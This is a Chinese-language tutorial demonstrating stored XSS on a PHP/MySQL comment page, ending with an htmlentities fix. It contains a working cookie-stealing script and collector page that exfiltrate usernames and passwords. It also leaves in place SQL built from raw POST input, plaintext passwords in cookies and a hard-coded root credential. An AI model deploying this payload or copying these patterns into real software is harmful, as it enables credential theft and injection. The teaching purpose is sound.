原理:恶意Web用户将代码植入到提供给其它用户使用的页面中,如果程序没有经过过滤或者过滤敏感字符不严密就直接输出或者写入数据库。合法用户在访问这些页面的时候,程序将数据库里面的信息输出,这些恶意代码就会被执行。
大概流程是,建立一个用于发表评论的网页,然后XSS攻击者通过XSS漏洞进行攻击获取其他访问该网页的用户的cookie信息并记录到攻击者设定的文件中。
首先,我们得先配置好PHP的运行环境,这个网上有一大堆资料和软件可以下载,我这里安装的是wampserver,同时为了方便操作安装了MySQL workbench。
接着,搭建数据库,用于储存用户的评论
create database test; use test; create table comments ( id int(16) AUTO_INCREMENT, uname varchar(1600), ucomment varchar(2000), primary key(id) );
用户登录界面login.php:
<!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>登录</title> <style type="text/css"> #login{text-align:center;margin-top:100px;} </style> </head> <?php if(isset($_POST['submit'])){ //设置cookie setcookie("username", $_POST["username"],time()+3600*24); setcookie("password", $_POST["password"],time()+3600*24); echo "<meta http-equiv=refresh content='0;url=home.php'>";//跳转到home.php } ?> <body> <div id="login"> <form method="post"> <p>用户名: <input type="text" name="username" ></p> <p> 密码: <input type="text" name="password"></p> <button type="submit" name="submit" style="60px;height:30px;">登录</button> </form> </div> </body> </html>
用户评论界面home.php:
<html> <head> </head> <style type="text/css"> .comment-title{ font-size:14px; margin: 6px 0px 2px 4px; } .comment-body{ font-size: 14px; color:#ccc; font-style: italic; border-bottom: 1px #ccc; margin: 4px; } </style> <body> <form method="post" action="list.php"> <div style="margin:20px;"> <div style="font-size:16px;font-weight:bold;">发表评论</div> <div style="padding:6px;"> 昵称: <br/> <input name="name" type="text" style="300px;"/> </div> <div style="padding:6px;"> 评论: <br/> <textarea name="comment" style="height:100px; 300px;"></textarea> </div> <div style="padding-left:230px;"> <input type="submit" value="POST" style="padding:4px 0px; 80px;"/> </div> <div style="border-bottom:solid 1px #fff;margin-top:10px;"> <div style="font-size:16px;font-weight:bold;">评论集</div> </div> <?php try { $dbh = new PDO('mysql:dbname=test;host=127.0.0.1','root', '123456');//连接数据库 $dbh->query('set names gbk'); $sql="SELECT uname,ucomment FROM comments"; foreach ($dbh->query($sql) as $row) //通过循环读取数据内容 { if($row['uname']!=null){ ?><span>-------------------------------------------------------</span><br/> <span name="name" style="font-size:15px;color:blue;"><?php echo $row['uname'];?></span><br/> <span name="comment" > <?php echo $row['ucomment'];?></span><br/> <?php } } } catch (PDOException $e) { echo 'Connection failed: ' . $e->getMessage(); } ?> </div> </form> </body> </html>
提交评论至数据库中list.php:
<?php $link = mysql_connect('localhost','root','123456'); //连接数据库 mysql_query('set names gbk'); if (!$link) { die('Could not connect to MySQL: ' . mysql_error()); } echo 'Connection OK'; $name = $_POST["name"]; $comment = $_POST["comment"]; mysql_select_db('test',$link); $query="insert into comments(uname,ucomment) values ('{$name}','{$comment}');"; if (!mysql_query($query,$link)) { die('Error: ' . mysql_error()); } $result=mysql_query("SELECT uname,ucomment FROM comments"); while($row=mysql_fetch_array($result))//通过循环展示数据内容 { echo $row["uname"] . "<br/>"; echo $row["ucomment"] . "<br/>"; } mysql_close($link); //关闭数据库连接 echo "<meta http-equiv=refresh content='0;url=home.php'>";//返回home.php ?>
攻击者所用的脚本攻击hack.js:
var username = getCookie('username'); var password = getCookie('password'); var script = document.createElement('script'); script.src = 'http://localhost/test/index.php?username=' + username + '&password=' + password; //保存数据的页面的位置 document.body.appendChild(script); function getCookie(name) { var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)"); if(arr=document.cookie.match(reg)) return unescape(arr[2]); return null; }
hack.js传送数据到index.php
<?php if(!empty($_GET['password'])){ $username=$_GET['username']; $password=$_GET['password']; try{ $path=$_SERVER["DOCUMENT_ROOT"].'/password.txt'; $fp=fopen($path,'a'); flock($fp, LOCK_EX); fwrite($fp, "$username $password "); flock($fp, LOCK_UN); fclose($fp); }catch(Exception $e){ } } ?>
然后攻击者先登录该评论页面,然后发表包含如下语句的评论:
<script type="text/javascript" src="http://localhost/test/hack.js"></script>
则当其他用户浏览该评论页面时,这段恶意脚本就会执行,从而执行hack.js的代码将用户的cookie发送给index.php从而被保存到攻击者的文件中。
如何防止这种攻击呢?
上述XSS攻击的核心是利用了脚本注入,对用户的输入没有做出检查,信赖用户输入,因此如果我们不信赖用户输入,对特殊字符如”<”,”>”转义,就可以从根本上防止这一问题。更简单一点说,不要直接echo输出,换成用PHP的htmlentities函数将所有的评论不是以嵌入HTML的形式,而是以纯文本直接展示在页面中,这样无论如何都可以确保不会修改到HTML的DOM元素,而导致恶意代码的嵌入。
修改后的代码如下:
<html> <head> </head> <style type="text/css"> .comment-title{ font-size:14px; margin: 6px 0px 2px 4px; } .comment-body{ font-size: 14px; color:#ccc; font-style: italic; border-bottom: 1px #ccc; margin: 4px; } </style> <?php function ReplaceScript(&$txt) { $str="' <script[^>]*?>.*?</script>'si "; print $txt=preg_replace("$str","",$txt); } ?> <body> <form method="post" action="list.php"> <div style="margin:20px;"> <div style="font-size:16px;font-weight:bold;">发表评论</div> <div style="padding:6px;"> 昵称: <br/> <input name="name" type="text" style="300px;"/> </div> <div style="padding:6px;"> 评论: <br/> <textarea name="comment" style="height:100px; 300px;"></textarea> </div> <div style="padding-left:230px;"> <input type="submit" value="POST" style="padding:4px 0px; 80px;"/> </div> <div style="border-bottom:solid 1px #fff;margin-top:10px;"> <div style="font-size:16px;font-weight:bold;">评论集</div> </div> <?php try { $dbh = new PDO('mysql:dbname=test;host=127.0.0.1','root', '123456'); $dbh->query('set names gbk'); $sql="SELECT uname,ucomment FROM comments"; foreach ($dbh->query($sql) as $row) //通过循环读取数据内容 { if($row['uname']!=null){ ?><span>-------------------------------------------------------</span><br/> <span name="name" style="font-size:15px;color:blue;"><?php echo htmlentities($row['uname'],ENT_QUOTES,"GB2312");?></span><br/> <span name="comment" > <?php $new = htmlentities($row['ucomment'],ENT_QUOTES,"GB2312");echo $new;?></span><br/> <?php } } } catch (PDOException $e) { echo 'Connection failed: ' . $e->getMessage(); } ?> </div> </form> </body> </html>